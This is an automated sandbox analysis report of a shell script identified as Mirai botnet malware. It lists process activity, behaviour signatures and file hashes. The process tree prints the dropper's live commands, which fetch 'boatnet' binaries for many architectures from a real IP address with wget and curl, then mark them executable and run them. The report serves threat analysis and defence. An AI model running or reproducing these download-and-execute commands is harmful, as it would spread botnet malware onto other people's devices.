Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    17-12-2024 06:22

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    14099ca3ba60ee276a8d96c4b47cd58f

  • SHA1

    d46e02797df3f7be4bf440003b2296ffe8992451

  • SHA256

    e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5

  • SHA512

    249ced36cbe0e9ab7f4dabbcfcc1891e3fc582f6ab523a22a3f5bddfc3d9ce83686152cda53a6b4b922fee3b3b5b28436f3342ed31b15fea0a324b0c2f30dab9

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:699
    • /usr/bin/wget
      wget http://147.45.125.26/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:702
    • /usr/bin/curl
      curl -O http://147.45.125.26/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:719
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:728
      • /bin/chmod
        chmod +x boatnet.x86 ohshit.sh systemd-private-ce7c6e8a3a3f4152b6b47b0b826ed39e-systemd-timedated.service-e3wVlt WTF
        2⤵
        • File and Directory Permissions Modification
        PID:729
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:730
      • /usr/bin/wget
        wget http://147.45.125.26/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:732
      • /usr/bin/curl
        curl -O http://147.45.125.26/hiddenbin/boatnet.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:734
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:735
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-ce7c6e8a3a3f4152b6b47b0b826ed39e-systemd-timedated.service-e3wVlt WTF
        2⤵
        • File and Directory Permissions Modification
        PID:736
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:737
      • /usr/bin/wget
        wget http://147.45.125.26/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:741
      • /usr/bin/curl
        curl -O http://147.45.125.26/hiddenbin/boatnet.arc
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:742
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:743
        • /bin/chmod
          chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-ce7c6e8a3a3f4152b6b47b0b826ed39e-systemd-timedated.service-e3wVlt WTF
          2⤵
          • File and Directory Permissions Modification
          PID:744
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:745
        • /usr/bin/wget
          wget http://147.45.125.26/hiddenbin/boatnet.i468
          2⤵
            PID:747
          • /usr/bin/curl
            curl -O http://147.45.125.26/hiddenbin/boatnet.i468
            2⤵
            • Writes file to tmp directory
            PID:750
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:760
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh WTF
              2⤵
              • File and Directory Permissions Modification
              PID:761
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:763
            • /usr/bin/wget
              wget http://147.45.125.26/hiddenbin/boatnet.i686
              2⤵
                PID:765
              • /usr/bin/curl
                curl -O http://147.45.125.26/hiddenbin/boatnet.i686
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:772
              • /bin/cat
                cat boatnet.i686
                2⤵
                  PID:781
                • /bin/chmod
                  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:783
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:784
                • /usr/bin/wget
                  wget http://147.45.125.26/hiddenbin/boatnet.x86_64
                  2⤵
                    PID:786
                  • /usr/bin/curl
                    curl -O http://147.45.125.26/hiddenbin/boatnet.x86_64
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:793
                  • /bin/cat
                    cat boatnet.x86_64
                    2⤵
                      PID:806
                    • /bin/chmod
                      chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:807
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:808
                    • /usr/bin/wget
                      wget http://147.45.125.26/hiddenbin/boatnet.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:809
                    • /usr/bin/curl
                      curl -O http://147.45.125.26/hiddenbin/boatnet.mpsl
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:811
                    • /bin/cat
                      cat boatnet.mpsl
                      2⤵
                        PID:812
                      • /bin/chmod
                        chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:813
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        PID:814
                      • /usr/bin/wget
                        wget http://147.45.125.26/hiddenbin/boatnet.arm
                        2⤵
                        • Writes file to tmp directory
                        PID:816
                      • /usr/bin/curl
                        curl -O http://147.45.125.26/hiddenbin/boatnet.arm
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:817
                      • /bin/cat
                        cat boatnet.arm
                        2⤵
                          PID:818
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:819
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          PID:820
                        • /usr/bin/wget
                          wget http://147.45.125.26/hiddenbin/boatnet.arm5
                          2⤵
                          • Writes file to tmp directory
                          PID:822
                        • /usr/bin/curl
                          curl -O http://147.45.125.26/hiddenbin/boatnet.arm5
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:823
                        • /bin/cat
                          cat boatnet.arm5
                          2⤵
                            PID:834
                          • /bin/chmod
                            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:835
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:836
                          • /usr/bin/wget
                            wget http://147.45.125.26/hiddenbin/boatnet.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:840
                          • /usr/bin/curl
                            curl -O http://147.45.125.26/hiddenbin/boatnet.arm6
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:849
                          • /bin/cat
                            cat boatnet.arm6
                            2⤵
                              PID:859
                            • /bin/chmod
                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:861
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              PID:862
                            • /usr/bin/wget
                              wget http://147.45.125.26/hiddenbin/boatnet.arm7
                              2⤵
                              • Writes file to tmp directory
                              PID:864
                            • /usr/bin/curl
                              curl -O http://147.45.125.26/hiddenbin/boatnet.arm7
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:865
                            • /bin/cat
                              cat boatnet.arm7
                              2⤵
                                PID:866
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:867
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                PID:868
                              • /usr/bin/wget
                                wget http://147.45.125.26/hiddenbin/boatnet.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:870
                              • /usr/bin/curl
                                curl -O http://147.45.125.26/hiddenbin/boatnet.ppc
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:871
                              • /bin/cat
                                cat boatnet.ppc
                                2⤵
                                  PID:872
                                • /bin/chmod
                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:873
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:874
                                • /usr/bin/wget
                                  wget http://147.45.125.26/hiddenbin/boatnet.spc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:876
                                • /usr/bin/curl
                                  curl -O http://147.45.125.26/hiddenbin/boatnet.spc
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:877
                                • /bin/cat
                                  cat boatnet.spc
                                  2⤵
                                    PID:878
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:879
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:880
                                  • /usr/bin/wget
                                    wget http://147.45.125.26/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:882
                                  • /usr/bin/curl
                                    curl -O http://147.45.125.26/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:883
                                  • /bin/cat
                                    cat boatnet.m68k
                                    2⤵
                                      PID:884
                                    • /bin/chmod
                                      chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:885
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:886
                                    • /usr/bin/wget
                                      wget http://147.45.125.26/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:888
                                    • /usr/bin/curl
                                      curl -O http://147.45.125.26/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:889
                                    • /bin/cat
                                      cat boatnet.sh4
                                      2⤵
                                        PID:890
                                      • /bin/chmod
                                        chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:891
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Executes dropped EXE
                                        PID:892

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/WTF

                                      Filesize

                                      23KB

                                      MD5

                                      6fe91c74b1b05a80f873aee4469295a1

                                      SHA1

                                      49a298d76e4fbe9eaeac30b8605768dd8e056a13

                                      SHA256

                                      a54abbc376c37db927543c21f7cbf077ee79fe431d1077c097905578d745217d

                                      SHA512

                                      bfc65a89536d21460600b3fc68c79431bfeed5762d361f9de678a86c1d6cfa6d4dd8b9cd9e51e665bb8fd80cb4c17a27040bfa3dd0f701bd188d05e6e5e87ee9

                                    • /tmp/WTF

                                      Filesize

                                      105KB

                                      MD5

                                      22adf97779be193482a6db01193ce210

                                      SHA1

                                      14528e43c9961e659c2da4b6817980f88574f1a8

                                      SHA256

                                      20676259d6cf8fb652401cc7c26a2401f9a1807d525d8827514a1cea33beba5e

                                      SHA512

                                      7ae547f5386f1110425b5ceffb1106a1590e0a4cb5b44bc836bf9c1495ad7d2e18cb8d779ef37363343b2954ee3e9db7365291aacf3f6434a064f0bfb9b4667d

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      f1c24d9fa40a047ae22d2d3ae7dfeac9

                                      SHA1

                                      750274b02d5f5b00026a4f55b020f4285c693533

                                      SHA256

                                      219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                      SHA512

                                      36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      a8f502a6fb3b7b940e922c951d9e493a

                                      SHA1

                                      fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                      SHA256

                                      748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                      SHA512

                                      e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                    • /tmp/WTF

                                      Filesize

                                      57KB

                                      MD5

                                      9f4720b3e89b01a76e0cad6f1f9ad931

                                      SHA1

                                      e17ee935e1a7fbd814d2ae2216504010a2e3fb06

                                      SHA256

                                      7c9c17f50036ecd7c6750ef831cce060fcd266f0eae091bc4c9d55fbf7b40efc

                                      SHA512

                                      85ea4b63357452698d39e6456505bd1f58d4b552c377e07062be285eca217618fc688e233f2ef19cc550592244d0e773695d024b1df577e47e67d0c00b79856c

                                    • /tmp/boatnet.x86

                                      Filesize

                                      20KB

                                      MD5

                                      e91063f55319252533dd4b79524515e8

                                      SHA1

                                      f6d254d0a708dd18917a3db48eec8b27fd2c7526

                                      SHA256

                                      81a71e612fb13a5d427bac91e1194caee587393ef18b7bf19ed41ace248ce603

                                      SHA512

                                      ce06b49dede7b5101d49a4cdb2959d44f4da5824e8d8d1bced490e9245e14b540c621f68960be9a14620b5800aa3136363295b269f95f10dd68782fdfba435f5